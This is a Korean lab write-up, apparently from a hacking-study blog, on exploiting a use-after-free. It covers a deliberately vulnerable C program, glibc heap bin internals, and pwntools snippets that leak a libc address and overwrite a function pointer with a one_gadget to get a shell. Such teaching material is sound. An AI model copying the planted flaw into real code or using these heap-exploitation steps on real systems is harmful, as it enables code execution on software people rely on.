Exploit Tech: Use After Free

곽무경·2022년 7월 15일
0

System Hacking

목록 보기
25/27

Use After Free 취약점이 존재하는 코드를 사용하여 셸을 획득하는 실습

예제 코드

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
  char name[16];
  int weight;
  long age;
};
struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}
void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}
void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}
int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}
int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

코드 분석

  • 크기가 같은 두 구조체 Human, Robot이 정의되어 있다.
  • human_func 함수와 robot_func 함수는 메모리 영역을 할당할 때 할당한 메모리 영역을 초기화하지 않는다.
    두 구조체의 크기가 같으므로, 한 구조체를 해제하고 다른 구조체를 해제하면
    Use After Free가 발생한다.
  • robot_func는 생성한 Robot 변수의 fptr이 NULL이 아니면 이를 호출하므로
    Use After Free로 이 변수에 원하는 값을 남겨놓을 수 있다면, 실행 흐름을 조작할 수 있다.
  • custom_func 함수를 사용하면 0x100 이상의 크기를 갖는 청크를 할당하고 해제할 수 있다.

bin

  • 해제된 청크는 fd, bk, prev_size, size로 이루어져 bin으로 보내진다.
    • fd : forward, 앞 청크의 주소
    • bk : backward, 뒷 청크의 주소
  • bin : 해제된 청크들을 관리하는 곳
  • fast bin : 단순연결리스트, 크기가 0x80 이하인 청크를 관리, FIFO
  • unsorted bin : 이중연결리스트, small bin 이상의 사이즈가 해제되면 등록, FIFO
    • 이후 새 메모리를 할당할 때, 할당할 크기보다 큰 청크가 unsorted bin에 등록되어 있다면 바로 반환하고,
    • 없다면 unsorted bin에 등록되어 있던 청크들을 사이즈에 맞게 small binlarge bin으로 이동시킨다.
  • small bin : 이중연결리스트, size < 0x200, FIFO
  • large bin : 이중연결리스트, 그 외 나머지, FIFO
  • last remainder chunk : free chunk에서 필요한 만큼 떼어주고 남은 청크

익스플로잇 설계

1. 라이브러리 릭

  • Robot.fptr 값을 one_gadget의 주소로 덮어서 셸을 획득한다.
  • unsorted bin의 특징을 이용
    • unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성한다.
    • 처음 unsorted bin에 연결되는 청크의 fdbk에는 libc 내부의 주소가 쓰인다.
    • unsorted bin에 연결된 청크를 재할당하고, fdbk의 값을 읽으면
      libc의 매핑 주소를 알 수 있다.
  • 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc의 매핑 주소를 알 수 있다.
  • 해제할 청크가 탑 청크와 맞닿아 있으면 병합되므로, 청크 두 개를 연속으로 할당하고 처음 할당한 청크를 해제해야 한다.

2. 함수 포인터 덮어쓰기

  • HumanRobot은 같은 크기의 구조체이므로
    Human 구조체의 ageRobot 구조체의 fptr과 위치가 같다.
  • human_func를 호출했을 때, ageone_gadget의 주소를 입력하고 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 one_gadget을 호출할 수 있다.

익스플로잇

1. 라이브러리 릭

  • custom_func을 이용해 0x510의 크기를 갖는 청크를 할당하고 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구한다.
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))

custom(0x500, "AAAA", -1) # 할당 (0번째 인덱스 할당)
custom(0x500, "AAAA", -1) # 할당 (1번째 인덱스 할당)
custom(0x500, "AAAA", 0)  # 해제 (0번째 인덱스 해제)
custom(0x500, "B", -1)    # 할당 (2번째 인덱스 할당)
# -1번째 인덱스는 이미 NULL이어서 아무런 영향을 미치지 못하는 것으로 추정
  • 오프셋 구하기
lb = u64(p.recvline()[:-1].ljust(8, b"\x00"))-0x1cec42
  • one_gadget 주소 구하기
og = lb + 0xcb5ca

2. 함수 포인터 덮어쓰기

  • human->agerobot->fptr이 구조체 상에서 같은 위치에 있음을 이용
human("1", og)
robot("1")

0개의 댓글